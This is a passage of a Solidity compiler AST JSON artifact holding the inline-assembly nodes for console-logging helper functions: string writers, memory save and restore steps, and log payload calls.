,"nodeType":"YulIdentifier","src":"355841:6:22"},{"kind":"number","nativeSrc":"355849:4:22","nodeType":"YulLiteral","src":"355849:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"355838:2:22","nodeType":"YulIdentifier","src":"355838:2:22"},"nativeSrc":"355838:16:22","nodeType":"YulFunctionCall","src":"355838:16:22"},"nativeSrc":"355831:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"355855:28:22","nodeType":"YulBlock","src":"355855:28:22","statements":[{"nativeSrc":"355857:24:22","nodeType":"YulAssignment","src":"355857:24:22","value":{"arguments":[{"name":"length","nativeSrc":"355871:6:22","nodeType":"YulIdentifier","src":"355871:6:22"},{"kind":"number","nativeSrc":"355879:1:22","nodeType":"YulLiteral","src":"355879:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"355867:3:22","nodeType":"YulIdentifier","src":"355867:3:22"},"nativeSrc":"355867:14:22","nodeType":"YulFunctionCall","src":"355867:14:22"},"variableNames":[{"name":"length","nativeSrc":"355857:6:22","nodeType":"YulIdentifier","src":"355857:6:22"}]}]},"pre":{"nativeSrc":"355835:2:22","nodeType":"YulBlock","src":"355835:2:22","statements":[]},"src":"355831:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"355948:3:22","nodeType":"YulIdentifier","src":"355948:3:22"},{"name":"length","nativeSrc":"355953:6:22","nodeType":"YulIdentifier","src":"355953:6:22"}],"functionName":{"name":"mstore","nativeSrc":"355941:6:22","nodeType":"YulIdentifier","src":"355941:6:22"},"nativeSrc":"355941:19:22","nodeType":"YulFunctionCall","src":"355941:19:22"},"nativeSrc":"355941:19:22","nodeType":"YulExpressionStatement","src":"355941:19:22"},{"nativeSrc":"355977:37:22","nodeType":"YulVariableDeclaration","src":"355977:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"355994:3:22","nodeType":"YulLiteral","src":"355994:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"356003:1:22","nodeType":"YulLiteral","src":"356003:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"356006:6:22","nodeType":"YulIdentifier","src":"356006:6:22"}],"functionName":{"name":"shl","nativeSrc":"355999:3:22","nodeType":"YulIdentifier","src":"355999:3:22"},"nativeSrc":"355999:14:22","nodeType":"YulFunctionCall","src":"355999:14:22"}],"functionName":{"name":"sub","nativeSrc":"355990:3:22","nodeType":"YulIdentifier","src":"355990:3:22"},"nativeSrc":"355990:24:22","nodeType":"YulFunctionCall","src":"355990:24:22"},"variables":[{"name":"shift","nativeSrc":"355981:5:22","nodeType":"YulTypedName","src":"355981:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"356042:3:22","nodeType":"YulIdentifier","src":"356042:3:22"},{"kind":"number","nativeSrc":"356047:4:22","nodeType":"YulLiteral","src":"356047:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"356038:3:22","nodeType":"YulIdentifier","src":"356038:3:22"},"nativeSrc":"356038:14:22","nodeType":"YulFunctionCall","src":"356038:14:22"},{"arguments":[{"name":"shift","nativeSrc":"356058:5:22","nodeType":"YulIdentifier","src":"356058:5:22"},{"arguments":[{"name":"shift","nativeSrc":"356069:5:22","nodeType":"YulIdentifier","src":"356069:5:22"},{"name":"w","nativeSrc":"356076:1:22","nodeType":"YulIdentifier","src":"356076:1:22"}],"functionName":{"name":"shr","nativeSrc":"356065:3:22","nodeType":"YulIdentifier","src":"356065:3:22"},"nativeSrc":"356065:13:22","nodeType":"YulFunctionCall","src":"356065:13:22"}],"functionName":{"name":"shl","nativeSrc":"356054:3:22","nodeType":"YulIdentifier","src":"356054:3:22"},"nativeSrc":"356054:25:22","nodeType":"YulFunctionCall","src":"356054:25:22"}],"functionName":{"name":"mstore","nativeSrc":"356031:6:22","nodeType":"YulIdentifier","src":"356031:6:22"},"nativeSrc":"356031:49:22","nodeType":"YulFunctionCall","src":"356031:49:22"},"nativeSrc":"356031:49:22","nodeType":"YulExpressionStatement","src":"356031:49:22"}]},"name":"writeString","nativeSrc":"355752:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"355773:3:22","nodeType":"YulTypedName","src":"355773:3:22","type":""},{"name":"w","nativeSrc":"355778:1:22","nodeType":"YulTypedName","src":"355778:1:22","type":""}],"src":"355752:342:22"},{"nativeSrc":"356107:17:22","nodeType":"YulAssignment","src":"356107:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"356119:4:22","nodeType":"YulLiteral","src":"356119:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"356113:5:22","nodeType":"YulIdentifier","src":"356113:5:22"},"nativeSrc":"356113:11:22","nodeType":"YulFunctionCall","src":"356113:11:22"},"variableNames":[{"name":"m0","nativeSrc":"356107:2:22","nodeType":"YulIdentifier","src":"356107:2:22"}]},{"nativeSrc":"356137:17:22","nodeType":"YulAssignment","src":"356137:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"356149:4:22","nodeType":"YulLiteral","src":"356149:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"356143:5:22","nodeType":"YulIdentifier","src":"356143:5:22"},"nativeSrc":"356143:11:22","nodeType":"YulFunctionCall","src":"356143:11:22"},"variableNames":[{"name":"m1","nativeSrc":"356137:2:22","nodeType":"YulIdentifier","src":"356137:2:22"}]},{"nativeSrc":"356167:17:22","nodeType":"YulAssignment","src":"356167:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"356179:4:22","nodeType":"YulLiteral","src":"356179:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"356173:5:22","nodeType":"YulIdentifier","src":"356173:5:22"},"nativeSrc":"356173:11:22","nodeType":"YulFunctionCall","src":"356173:11:22"},"variableNames":[{"name":"m2","nativeSrc":"356167:2:22","nodeType":"YulIdentifier","src":"356167:2:22"}]},{"nativeSrc":"356197:17:22","nodeType":"YulAssignment","src":"356197:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"356209:4:22","nodeType":"YulLiteral","src":"356209:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"356203:5:22","nodeType":"YulIdentifier","src":"356203:5:22"},"nativeSrc":"356203:11:22","nodeType":"YulFunctionCall","src":"356203:11:22"},"variableNames":[{"name":"m3","nativeSrc":"356197:2:22","nodeType":"YulIdentifier","src":"356197:2:22"}]},{"nativeSrc":"356227:17:22","nodeType":"YulAssignment","src":"356227:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"356239:4:22","nodeType":"YulLiteral","src":"356239:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"356233:5:22","nodeType":"YulIdentifier","src":"356233:5:22"},"nativeSrc":"356233:11:22","nodeType":"YulFunctionCall","src":"356233:11:22"},"variableNames":[{"name":"m4","nativeSrc":"356227:2:22","nodeType":"YulIdentifier","src":"356227:2:22"}]},{"nativeSrc":"356257:17:22","nodeType":"YulAssignment","src":"356257:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"356269:4:22","nodeType":"YulLiteral","src":"356269:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"356263:5:22","nodeType":"YulIdentifier","src":"356263:5:22"},"nativeSrc":"356263:11:22","nodeType":"YulFunctionCall","src":"356263:11:22"},"variableNames":[{"name":"m5","nativeSrc":"356257:2:22","nodeType":"YulIdentifier","src":"356257:2:22"}]},{"nativeSrc":"356287:17:22","nodeType":"YulAssignment","src":"356287:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"356299:4:22","nodeType":"YulLiteral","src":"356299:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"356293:5:22","nodeType":"YulIdentifier","src":"356293:5:22"},"nativeSrc":"356293:11:22","nodeType":"YulFunctionCall","src":"356293:11:22"},"variableNames":[{"name":"m6","nativeSrc":"356287:2:22","nodeType":"YulIdentifier","src":"356287:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"356384:4:22","nodeType":"YulLiteral","src":"356384:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"356390:10:22","nodeType":"YulLiteral","src":"356390:10:22","type":"","value":"0x354c36d6"}],"functionName":{"name":"mstore","nativeSrc":"356377:6:22","nodeType":"YulIdentifier","src":"356377:6:22"},"nativeSrc":"356377:24:22","nodeType":"YulFunctionCall","src":"356377:24:22"},"nativeSrc":"356377:24:22","nodeType":"YulExpressionStatement","src":"356377:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"356421:4:22","nodeType":"YulLiteral","src":"356421:4:22","type":"","value":"0x20"},{"kind":"number","nativeSrc":"356427:4:22","nodeType":"YulLiteral","src":"356427:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"356414:6:22","nodeType":"YulIdentifier","src":"356414:6:22"},"nativeSrc":"356414:18:22","nodeType":"YulFunctionCall","src":"356414:18:22"},"nativeSrc":"356414:18:22","nodeType":"YulExpressionStatement","src":"356414:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"356452:4:22","nodeType":"YulLiteral","src":"356452:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"356458:2:22","nodeType":"YulIdentifier","src":"356458:2:22"}],"functionName":{"name":"mstore","nativeSrc":"356445:6:22","nodeType":"YulIdentifier","src":"356445:6:22"},"nativeSrc":"356445:16:22","nodeType":"YulFunctionCall","src":"356445:16:22"},"nativeSrc":"356445:16:22","nodeType":"YulExpressionStatement","src":"356445:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"356481:4:22","nodeType":"YulLiteral","src":"356481:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"356487:2:22","nodeType":"YulIdentifier","src":"356487:2:22"}],"functionName":{"name":"mstore","nativeSrc":"356474:6:22","nodeType":"YulIdentifier","src":"356474:6:22"},"nativeSrc":"356474:16:22","nodeType":"YulFunctionCall","src":"356474:16:22"},"nativeSrc":"356474:16:22","nodeType":"YulExpressionStatement","src":"356474:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"356510:4:22","nodeType":"YulLiteral","src":"356510:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"356516:2:22","nodeType":"YulIdentifier","src":"356516:2:22"}],"functionName":{"name":"mstore","nativeSrc":"356503:6:22","nodeType":"YulIdentifier","src":"356503:6:22"},"nativeSrc":"356503:16:22","nodeType":"YulFunctionCall","src":"356503:16:22"},"nativeSrc":"356503:16:22","nodeType":"YulExpressionStatement","src":"356503:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"356544:4:22","nodeType":"YulLiteral","src":"356544:4:22","type":"","value":"0xa0"},{"name":"p0","nativeSrc":"356550:2:22","nodeType":"YulIdentifier","src":"356550:2:22"}],"functionName":{"name":"writeString","nativeSrc":"356532:11:22","nodeType":"YulIdentifier","src":"356532:11:22"},"nativeSrc":"356532:21:22","nodeType":"YulFunctionCall","src":"356532:21:22"},"nativeSrc":"356532:21:22","nodeType":"YulExpressionStatement","src":"356532:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":45332,"isOffset":false,"isSlot":false,"src":"356107:2:22","valueSize":1},{"declaration":45335,"isOffset":false,"isSlot":false,"src":"356137:2:22","valueSize":1},{"declaration":45338,"isOffset":false,"isSlot":false,"src":"356167:2:22","valueSize":1},{"declaration":45341,"isOffset":false,"isSlot":false,"src":"356197:2:22","valueSize":1},{"declaration":45344,"isOffset":false,"isSlot":false,"src":"356227:2:22","valueSize":1},{"declaration":45347,"isOffset":false,"isSlot":false,"src":"356257:2:22","valueSize":1},{"declaration":45350,"isOffset":false,"isSlot":false,"src":"356287:2:22","valueSize":1},{"declaration":45322,"isOffset":false,"isSlot":false,"src":"356550:2:22","valueSize":1},{"declaration":45324,"isOffset":false,"isSlot":false,"src":"356458:2:22","valueSize":1},{"declaration":45326,"isOffset":false,"isSlot":false,"src":"356487:2:22","valueSize":1},{"declaration":45328,"isOffset":false,"isSlot":false,"src":"356516:2:22","valueSize":1}],"id":45352,"nodeType":"InlineAssembly","src":"355729:834:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":45354,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"356588:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786334","id":45355,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"356594:4:22","typeDescriptions":{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"},"value":"0xc4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"}],"id":45353,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"356572:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":45356,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"356572:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":45357,"nodeType":"ExpressionStatement","src":"356572:27:22"},{"AST":{"nativeSrc":"356618:214:22","nodeType":"YulBlock","src":"356618:214:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"356639:4:22","nodeType":"YulLiteral","src":"356639:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"356645:2:22","nodeType":"YulIdentifier","src":"356645:2:22"}],"functionName":{"name":"mstore","nativeSrc":"356632:6:22","nodeType":"YulIdentifier","src":"356632:6:22"},"nativeSrc":"356632:16:22","nodeType":"YulFunctionCall","src":"356632:16:22"},"nativeSrc":"356632:16:22","nodeType":"YulExpressionStatement","src":"356632:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"356668:4:22","nodeType":"YulLiteral","src":"356668:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"356674:2:22","nodeType":"YulIdentifier","src":"356674:2:22"}],"functionName":{"name":"mstore","nativeSrc":"356661:6:22","nodeType":"YulIdentifier","src":"356661:6:22"},"nativeSrc":"356661:16:22","nodeType":"YulFunctionCall","src":"356661:16:22"},"nativeSrc":"356661:16:22","nodeType":"YulExpressionStatement","src":"356661:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"356697:4:22","nodeType":"YulLiteral","src":"356697:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"356703:2:22","nodeType":"YulIdentifier","src":"356703:2:22"}],"functionName":{"name":"mstore","nativeSrc":"356690:6:22","nodeType":"YulIdentifier","src":"356690:6:22"},"nativeSrc":"356690:16:22","nodeType":"YulFunctionCall","src":"356690:16:22"},"nativeSrc":"356690:16:22","nodeType":"YulExpressionStatement","src":"356690:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"356726:4:22","nodeType":"YulLiteral","src":"356726:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"356732:2:22","nodeType":"YulIdentifier","src":"356732:2:22"}],"functionName":{"name":"mstore","nativeSrc":"356719:6:22","nodeType":"YulIdentifier","src":"356719:6:22"},"nativeSrc":"356719:16:22","nodeType":"YulFunctionCall","src":"356719:16:22"},"nativeSrc":"356719:16:22","nodeType":"YulExpressionStatement","src":"356719:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"356755:4:22","nodeType":"YulLiteral","src":"356755:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"356761:2:22","nodeType":"YulIdentifier","src":"356761:2:22"}],"functionName":{"name":"mstore","nativeSrc":"356748:6:22","nodeType":"YulIdentifier","src":"356748:6:22"},"nativeSrc":"356748:16:22","nodeType":"YulFunctionCall","src":"356748:16:22"},"nativeSrc":"356748:16:22","nodeType":"YulExpressionStatement","src":"356748:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"356784:4:22","nodeType":"YulLiteral","src":"356784:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"356790:2:22","nodeType":"YulIdentifier","src":"356790:2:22"}],"functionName":{"name":"mstore","nativeSrc":"356777:6:22","nodeType":"YulIdentifier","src":"356777:6:22"},"nativeSrc":"356777:16:22","nodeType":"YulFunctionCall","src":"356777:16:22"},"nativeSrc":"356777:16:22","nodeType":"YulExpressionStatement","src":"356777:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"356813:4:22","nodeType":"YulLiteral","src":"356813:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"356819:2:22","nodeType":"YulIdentifier","src":"356819:2:22"}],"functionName":{"name":"mstore","nativeSrc":"356806:6:22","nodeType":"YulIdentifier","src":"356806:6:22"},"nativeSrc":"356806:16:22","nodeType":"YulFunctionCall","src":"356806:16:22"},"nativeSrc":"356806:16:22","nodeType":"YulExpressionStatement","src":"356806:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":45332,"isOffset":false,"isSlot":false,"src":"356645:2:22","valueSize":1},{"declaration":45335,"isOffset":false,"isSlot":false,"src":"356674:2:22","valueSize":1},{"declaration":45338,"isOffset":false,"isSlot":false,"src":"356703:2:22","valueSize":1},{"declaration":45341,"isOffset":false,"isSlot":false,"src":"356732:2:22","valueSize":1},{"declaration":45344,"isOffset":false,"isSlot":false,"src":"356761:2:22","valueSize":1},{"declaration":45347,"isOffset":false,"isSlot":false,"src":"356790:2:22","valueSize":1},{"declaration":45350,"isOffset":false,"isSlot":false,"src":"356819:2:22","valueSize":1}],"id":45358,"nodeType":"InlineAssembly","src":"356609:223:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"355519:3:22","parameters":{"id":45329,"nodeType":"ParameterList","parameters":[{"constant":false,"id":45322,"mutability":"mutable","name":"p0","nameLocation":"355531:2:22","nodeType":"VariableDeclaration","scope":45360,"src":"355523:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45321,"name":"bytes32","nodeType":"ElementaryTypeName","src":"355523:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":45324,"mutability":"mutable","name":"p1","nameLocation":"355543:2:22","nodeType":"VariableDeclaration","scope":45360,"src":"355535:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":45323,"name":"uint256","nodeType":"ElementaryTypeName","src":"355535:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":45326,"mutability":"mutable","name":"p2","nameLocation":"355552:2:22","nodeType":"VariableDeclaration","scope":45360,"src":"355547:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":45325,"name":"bool","nodeType":"ElementaryTypeName","src":"355547:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":45328,"mutability":"mutable","name":"p3","nameLocation":"355561:2:22","nodeType":"VariableDeclaration","scope":45360,"src":"355556:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":45327,"name":"bool","nodeType":"ElementaryTypeName","src":"355556:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"355522:42:22"},"returnParameters":{"id":45330,"nodeType":"ParameterList","parameters":[],"src":"355579:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":45400,"nodeType":"FunctionDefinition","src":"356844:1334:22","nodes":[],"body":{"id":45399,"nodeType":"Block","src":"356916:1262:22","nodes":[],"statements":[{"assignments":[45372],"declarations":[{"constant":false,"id":45372,"mutability":"mutable","name":"m0","nameLocation":"356934:2:22","nodeType":"VariableDeclaration","scope":45399,"src":"356926:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45371,"name":"bytes32","nodeType":"ElementaryTypeName","src":"356926:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45373,"nodeType":"VariableDeclarationStatement","src":"356926:10:22"},{"assignments":[45375],"declarations":[{"constant":false,"id":45375,"mutability":"mutable","name":"m1","nameLocation":"356954:2:22","nodeType":"VariableDeclaration","scope":45399,"src":"356946:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45374,"name":"bytes32","nodeType":"ElementaryTypeName","src":"356946:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45376,"nodeType":"VariableDeclarationStatement","src":"356946:10:22"},{"assignments":[45378],"declarations":[{"constant":false,"id":45378,"mutability":"mutable","name":"m2","nameLocation":"356974:2:22","nodeType":"VariableDeclaration","scope":45399,"src":"356966:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45377,"name":"bytes32","nodeType":"ElementaryTypeName","src":"356966:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45379,"nodeType":"VariableDeclarationStatement","src":"356966:10:22"},{"assignments":[45381],"declarations":[{"constant":false,"id":45381,"mutability":"mutable","name":"m3","nameLocation":"356994:2:22","nodeType":"VariableDeclaration","scope":45399,"src":"356986:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45380,"name":"bytes32","nodeType":"ElementaryTypeName","src":"356986:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45382,"nodeType":"VariableDeclarationStatement","src":"356986:10:22"},{"assignments":[45384],"declarations":[{"constant":false,"id":45384,"mutability":"mutable","name":"m4","nameLocation":"357014:2:22","nodeType":"VariableDeclaration","scope":45399,"src":"357006:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45383,"name":"bytes32","nodeType":"ElementaryTypeName","src":"357006:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45385,"nodeType":"VariableDeclarationStatement","src":"357006:10:22"},{"assignments":[45387],"declarations":[{"constant":false,"id":45387,"mutability":"mutable","name":"m5","nameLocation":"357034:2:22","nodeType":"VariableDeclaration","scope":45399,"src":"357026:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45386,"name":"bytes32","nodeType":"ElementaryTypeName","src":"357026:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45388,"nodeType":"VariableDeclarationStatement","src":"357026:10:22"},{"assignments":[45390],"declarations":[{"constant":false,"id":45390,"mutability":"mutable","name":"m6","nameLocation":"357054:2:22","nodeType":"VariableDeclaration","scope":45399,"src":"357046:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45389,"name":"bytes32","nodeType":"ElementaryTypeName","src":"357046:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45391,"nodeType":"VariableDeclarationStatement","src":"357046:10:22"},{"AST":{"nativeSrc":"357075:828:22","nodeType":"YulBlock","src":"357075:828:22","statements":[{"body":{"nativeSrc":"357118:313:22","nodeType":"YulBlock","src":"357118:313:22","statements":[{"nativeSrc":"357136:15:22","nodeType":"YulVariableDeclaration","src":"357136:15:22","value":{"kind":"number","nativeSrc":"357150:1:22","nodeType":"YulLiteral","src":"357150:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"357140:6:22","nodeType":"YulTypedName","src":"357140:6:22","type":""}]},{"body":{"nativeSrc":"357221:40:22","nodeType":"YulBlock","src":"357221:40:22","statements":[{"body":{"nativeSrc":"357250:9:22","nodeType":"YulBlock","src":"357250:9:22","statements":[{"nativeSrc":"357252:5:22","nodeType":"YulBreak","src":"357252:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"357238:6:22","nodeType":"YulIdentifier","src":"357238:6:22"},{"name":"w","nativeSrc":"357246:1:22","nodeType":"YulIdentifier","src":"357246:1:22"}],"functionName":{"name":"byte","nativeSrc":"357233:4:22","nodeType":"YulIdentifier","src":"357233:4:22"},"nativeSrc":"357233:15:22","nodeType":"YulFunctionCall","src":"357233:15:22"}],"functionName":{"name":"iszero","nativeSrc":"357226:6:22","nodeType":"YulIdentifier","src":"357226:6:22"},"nativeSrc":"357226:23:22","nodeType":"YulFunctionCall","src":"357226:23:22"},"nativeSrc":"357223:36:22","nodeType":"YulIf","src":"357223:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"357178:6:22","nodeType":"YulIdentifier","src":"357178:6:22"},{"kind":"number","nativeSrc":"357186:4:22","nodeType":"YulLiteral","src":"357186:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"357175:2:22","nodeType":"YulIdentifier","src":"357175:2:22"},"nativeSrc":"357175:16:22","nodeType":"YulFunctionCall","src":"357175:16:22"},"nativeSrc":"357168:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"357192:28:22","nodeType":"YulBlock","src":"357192:28:22","statements":[{"nativeSrc":"357194:24:22","nodeType":"YulAssignment","src":"357194:24:22","value":{"arguments":[{"name":"length","nativeSrc":"357208:6:22","nodeType":"YulIdentifier","src":"357208:6:22"},{"kind":"number","nativeSrc":"357216:1:22","nodeType":"YulLiteral","src":"357216:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"357204:3:22","nodeType":"YulIdentifier","src":"357204:3:22"},"nativeSrc":"357204:14:22","nodeType":"YulFunctionCall","src":"357204:14:22"},"variableNames":[{"name":"length","nativeSrc":"357194:6:22","nodeType":"YulIdentifier","src":"357194:6:22"}]}]},"pre":{"nativeSrc":"357172:2:22","nodeType":"YulBlock","src":"357172:2:22","statements":[]},"src":"357168:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"357285:3:22","nodeType":"YulIdentifier","src":"357285:3:22"},{"name":"length","nativeSrc":"357290:6:22","nodeType":"YulIdentifier","src":"357290:6:22"}],"functionName":{"name":"mstore","nativeSrc":"357278:6:22","nodeType":"YulIdentifier","src":"357278:6:22"},"nativeSrc":"357278:19:22","nodeType":"YulFunctionCall","src":"357278:19:22"},"nativeSrc":"357278:19:22","nodeType":"YulExpressionStatement","src":"357278:19:22"},{"nativeSrc":"357314:37:22","nodeType":"YulVariableDeclaration","src":"357314:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"357331:3:22","nodeType":"YulLiteral","src":"357331:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"357340:1:22","nodeType":"YulLiteral","src":"357340:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"357343:6:22","nodeType":"YulIdentifier","src":"357343:6:22"}],"functionName":{"name":"shl","nativeSrc":"357336:3:22","nodeType":"YulIdentifier","src":"357336:3:22"},"nativeSrc":"357336:14:22","nodeType":"YulFunctionCall","src":"357336:14:22"}],"functionName":{"name":"sub","nativeSrc":"357327:3:22","nodeType":"YulIdentifier","src":"357327:3:22"},"nativeSrc":"357327:24:22","nodeType":"YulFunctionCall","src":"357327:24:22"},"variables":[{"name":"shift","nativeSrc":"357318:5:22","nodeType":"YulTypedName","src":"357318:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"357379:3:22","nodeType":"YulIdentifier","src":"357379:3:22"},{"kind":"number","nativeSrc":"357384:4:22","nodeType":"YulLiteral","src":"357384:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"357375:3:22","nodeType":"YulIdentifier","src":"357375:3:22"},"nativeSrc":"357375:14:22","nodeType":"YulFunctionCall","src":"357375:14:22"},{"arguments":[{"name":"shift","nativeSrc":"357395:5:22","nodeType":"YulIdentifier","src":"357395:5:22"},{"arguments":[{"name":"shift","nativeSrc":"357406:5:22","nodeType":"YulIdentifier","src":"357406:5:22"},{"name":"w","nativeSrc":"357413:1:22","nodeType":"YulIdentifier","src":"357413:1:22"}],"functionName":{"name":"shr","nativeSrc":"357402:3:22","nodeType":"YulIdentifier","src":"357402:3:22"},"nativeSrc":"357402:13:22","nodeType":"YulFunctionCall","src":"357402:13:22"}],"functionName":{"name":"shl","nativeSrc":"357391:3:22","nodeType":"YulIdentifier","src":"357391:3:22"},"nativeSrc":"357391:25:22","nodeType":"YulFunctionCall","src":"357391:25:22"}],"functionName":{"name":"mstore","nativeSrc":"357368:6:22","nodeType":"YulIdentifier","src":"357368:6:22"},"nativeSrc":"357368:49:22","nodeType":"YulFunctionCall","src":"357368:49:22"},"nativeSrc":"357368:49:22","nodeType":"YulExpressionStatement","src":"357368:49:22"}]},"name":"writeString","nativeSrc":"357089:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"357110:3:22","nodeType":"YulTypedName","src":"357110:3:22","type":""},{"name":"w","nativeSrc":"357115:1:22","nodeType":"